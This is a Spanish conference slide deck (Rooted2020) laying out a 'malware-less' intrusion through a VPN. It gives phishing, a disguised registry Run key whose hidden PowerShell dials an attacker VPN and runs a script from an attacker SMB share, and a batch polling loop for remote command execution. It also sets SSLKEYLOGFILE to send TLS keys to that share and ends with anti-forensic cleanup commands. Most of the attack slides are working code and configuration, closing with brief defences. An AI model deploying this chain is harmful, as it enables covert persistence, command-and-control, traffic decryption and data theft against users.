Virtual Pwned Network
root@srv:$whoami
• Administrador de sistemas
• Programador web
• CEH (Certified Ethical Hacker)
• ISO27001 Lead Auditor
• Certified CSA Star Auditor
• Firewall & Networking
• Endpoint (AV, Whitelisting, DLP…)
• SOAR (security orchestration automation and response)
ICS / SCADA Security Analyst
@maaneeelM
linkedin.com/in/manel-molina
¿Qué es una VPN?
¿Para qué sirve una VPN?
 Cifrar las comunicaciones
 Controlar la entrada/salida a internet
 Dar acceso a recursos internos de una red
¿Para qué utiliza la gente las
VPN en realidad?
Y nosotros… ¿qué podemos
hacer?
Índice
- Phishing: correo electrónico como vector de entrada
- Persistencia: archivo .reg con comandos powershell
- Canal seguro: conexión automática a nuestra VPN
- Control remoto: mediante ejecución continua de scripts
- Exfiltración de archivos: mediante SAMBA
- MITM TLS: compartiendo las pre-master keys
Diagrama del ataque
Servidor de ficheros como C&C
apt-get install samba samba-common python-glade2 system-config-samba
vi /etc/samba/smb.conf
[c]
path = /c2c
browseable = no
writables = yes
valid-users = u
adduser u
smbpasswd –a u
mkdir /c2c
chown –R u /c2c
service smbd restart
Phishing
Persistencia (archivo .reg)
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
"OneDrive"=""C:UsersuserAppDataLocalMicrosoftOneDriveOneDrive.exe" /background"
"Windows"="powershell -w 1 -c cd $Env:appdataMicrosoftNetworkConnectionsPbk;echo
[v]`r`nMEDIA=rastapi`r`nPort=VPN2-0`r`nDEVICE=vpn`r`nPhoneNumber=vpn1.ga|Out-File -E
ASCII rasphone.pbk;rasdial v u p;net use vpn2.gac /user:u p;copy-item vpn2.gacc
c.bat;.c.bat"
- Recortamos IPs con nombres de dominio cortos
- Recortamos nombres de usuario y contraseña
- Recortamos rutas y nombres de los scripts
Alternativa (sin powershell)
El archivo s.bat tendría que encargarse de generar la
persistencia en el equipo.
VPN como canal seguro con el servidor
apt-get install pptpd
vi /etc/ppp/pptpd-options
ms-dns 8.8.8.8
ms-dns 8.8.4.4
vi /etc/ppp/chap-secrets
u pptpd p *
vi /etc/pptpd.conf
localip 172.0.0.1
remoteip 172.0.0.100-200
vi /etc/sysctl.conf
net.ipv4.ip_forward = 1
sysctl –p
service pptpd restart
iptables -t nat -I POSTROUTING -o ens3 -j MASQUERADE
Control remoto con scripts en batch
:cmd
if exist vpn2.gaccmd.bat (
move vpn2.gaccmd.bat vpn2.gaccmdtorun.bat
call vpn2.gaccmdtorun.bat>vpn2.gaccmd.txt
)
ping -n 20 localhost
goto :cmd
- Bucle para recibir instrucciones cada 20 segundos
- Comprobación de nuevas instrucciones (cmd.bat)
- Renombramos para evitar solapar ejecuciones
- Volcamos los resultados del script a un archivo de texto
Funcionamiento básico
vi cmd.bat
Envío de nuevas instrucciones
tail –f cmd.txt
Lectura de respuestas
Los comandos se ejecutarán con el usuario actual
Preparación ataque “man in the middle”
sudo apt install xfce4 xfce4-goodies xorg dbus-x11 x11-xserver-utils
sudo apt install xrdp
sudo adduser xrdp ssl-cert
vi /etc/xrdp/xrdp.ini
exec startxfce4
sudo systemctl restart xrdp
Manel in the middle
sudo add-apt-repository ppa:wireshark-dev/stable
sudo apt update
sudo apt -y install wireshark
Manel in the middle
vi cmd.bat
setx SSLKEYLOGFILE “vpn2.gacpmk.log”
Variable de entorno utilizada por Chrome y Firefox
Manel in the middle
- Las pre-master keys permiten que Wireshark vea el TLS
Desconexión del equipo
- Borrar clave de registro
- Borrar configuración de la VPN (rasphone.pbk)
- Borrar script de persitencia (c.bat)
- Borrar otras pruebas de acciones realizadas
- Desconectar de la red
reg delete HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Windows /fdel /q
%appdata%MicrosoftNetworkConnectionsPbkrasphone.pbk
del /q %appdata%MicrosoftNetworkConnectionsPbkc.bat
rasdial /disconnect
Puntos positivos
- “Complejo” de detectar: ByPass sandbox, anti-spam, ejecución en
fases (infección y conexión)
- Sin privilegios: es posible llevar a cabo el ataque sobre un usuario
sin privilegios de administrador
- Canal seguro: utilizamos el cifrado de la VPN como canal de
comunicación seguro, evitando así ser inspeccionado por IPS,
Firewall…
- Malware-less: no se utiliza ningún malware ni se explota ninguna
vulnerabilidad de sistemas o aplicaciones
¿Podemos evitar estos ataques?
Tecnologías
- Segregación de red
- Mayor protección del endpoint (EDR)
- Tecnologías de monitorización y recolección de logs
SOC / Analistas de seguridad
- Políticas de firewall más restrictivas (VPN proveedores)
- Monitorización de claves de registro (catálogo aplicaciones)
- KPIs y alertas a revisar diariamente (TOPs, duración sesiones)
- Concienciación (charlas, píldoras informativas, ejercicios…)
@oylo_trust
linkedin.com/company/trustoylo
@maaneeelM
linkedin.com/in/manel-molina

Rooted2020 virtual pwned-network_-_manel_molina

  • 1.
  • 2.
    root@srv:$whoami • Administrador desistemas • Programador web • CEH (Certified Ethical Hacker) • ISO27001 Lead Auditor • Certified CSA Star Auditor • Firewall & Networking • Endpoint (AV, Whitelisting, DLP…) • SOAR (security orchestration automation and response) ICS / SCADA Security Analyst @maaneeelM linkedin.com/in/manel-molina
  • 3.
  • 4.
    ¿Para qué sirveuna VPN?  Cifrar las comunicaciones  Controlar la entrada/salida a internet  Dar acceso a recursos internos de una red
  • 5.
    ¿Para qué utilizala gente las VPN en realidad?
  • 7.
    Y nosotros… ¿quépodemos hacer?
  • 8.
    Índice - Phishing: correoelectrónico como vector de entrada - Persistencia: archivo .reg con comandos powershell - Canal seguro: conexión automática a nuestra VPN - Control remoto: mediante ejecución continua de scripts - Exfiltración de archivos: mediante SAMBA - MITM TLS: compartiendo las pre-master keys
  • 9.
  • 10.
    Servidor de ficheroscomo C&C apt-get install samba samba-common python-glade2 system-config-samba vi /etc/samba/smb.conf [c] path = /c2c browseable = no writables = yes valid-users = u adduser u smbpasswd –a u mkdir /c2c chown –R u /c2c service smbd restart
  • 11.
  • 12.
    Persistencia (archivo .reg) WindowsRegistry Editor Version 5.00 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] "OneDrive"=""C:UsersuserAppDataLocalMicrosoftOneDriveOneDrive.exe" /background" "Windows"="powershell -w 1 -c cd $Env:appdataMicrosoftNetworkConnectionsPbk;echo [v]`r`nMEDIA=rastapi`r`nPort=VPN2-0`r`nDEVICE=vpn`r`nPhoneNumber=vpn1.ga|Out-File -E ASCII rasphone.pbk;rasdial v u p;net use vpn2.gac /user:u p;copy-item vpn2.gacc c.bat;.c.bat" - Recortamos IPs con nombres de dominio cortos - Recortamos nombres de usuario y contraseña - Recortamos rutas y nombres de los scripts
  • 13.
    Alternativa (sin powershell) Elarchivo s.bat tendría que encargarse de generar la persistencia en el equipo.
  • 14.
    VPN como canalseguro con el servidor apt-get install pptpd vi /etc/ppp/pptpd-options ms-dns 8.8.8.8 ms-dns 8.8.4.4 vi /etc/ppp/chap-secrets u pptpd p * vi /etc/pptpd.conf localip 172.0.0.1 remoteip 172.0.0.100-200 vi /etc/sysctl.conf net.ipv4.ip_forward = 1 sysctl –p service pptpd restart iptables -t nat -I POSTROUTING -o ens3 -j MASQUERADE
  • 15.
    Control remoto conscripts en batch :cmd if exist vpn2.gaccmd.bat ( move vpn2.gaccmd.bat vpn2.gaccmdtorun.bat call vpn2.gaccmdtorun.bat>vpn2.gaccmd.txt ) ping -n 20 localhost goto :cmd - Bucle para recibir instrucciones cada 20 segundos - Comprobación de nuevas instrucciones (cmd.bat) - Renombramos para evitar solapar ejecuciones - Volcamos los resultados del script a un archivo de texto
  • 16.
    Funcionamiento básico vi cmd.bat Envíode nuevas instrucciones tail –f cmd.txt Lectura de respuestas Los comandos se ejecutarán con el usuario actual
  • 17.
    Preparación ataque “manin the middle” sudo apt install xfce4 xfce4-goodies xorg dbus-x11 x11-xserver-utils sudo apt install xrdp sudo adduser xrdp ssl-cert vi /etc/xrdp/xrdp.ini exec startxfce4 sudo systemctl restart xrdp
  • 18.
    Manel in themiddle sudo add-apt-repository ppa:wireshark-dev/stable sudo apt update sudo apt -y install wireshark
  • 19.
    Manel in themiddle vi cmd.bat setx SSLKEYLOGFILE “vpn2.gacpmk.log” Variable de entorno utilizada por Chrome y Firefox
  • 20.
    Manel in themiddle - Las pre-master keys permiten que Wireshark vea el TLS
  • 21.
    Desconexión del equipo -Borrar clave de registro - Borrar configuración de la VPN (rasphone.pbk) - Borrar script de persitencia (c.bat) - Borrar otras pruebas de acciones realizadas - Desconectar de la red reg delete HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Windows /fdel /q %appdata%MicrosoftNetworkConnectionsPbkrasphone.pbk del /q %appdata%MicrosoftNetworkConnectionsPbkc.bat rasdial /disconnect
  • 22.
    Puntos positivos - “Complejo”de detectar: ByPass sandbox, anti-spam, ejecución en fases (infección y conexión) - Sin privilegios: es posible llevar a cabo el ataque sobre un usuario sin privilegios de administrador - Canal seguro: utilizamos el cifrado de la VPN como canal de comunicación seguro, evitando así ser inspeccionado por IPS, Firewall… - Malware-less: no se utiliza ningún malware ni se explota ninguna vulnerabilidad de sistemas o aplicaciones
  • 23.
    ¿Podemos evitar estosataques? Tecnologías - Segregación de red - Mayor protección del endpoint (EDR) - Tecnologías de monitorización y recolección de logs SOC / Analistas de seguridad - Políticas de firewall más restrictivas (VPN proveedores) - Monitorización de claves de registro (catálogo aplicaciones) - KPIs y alertas a revisar diariamente (TOPs, duración sesiones) - Concienciación (charlas, píldoras informativas, ejercicios…)
  • 24.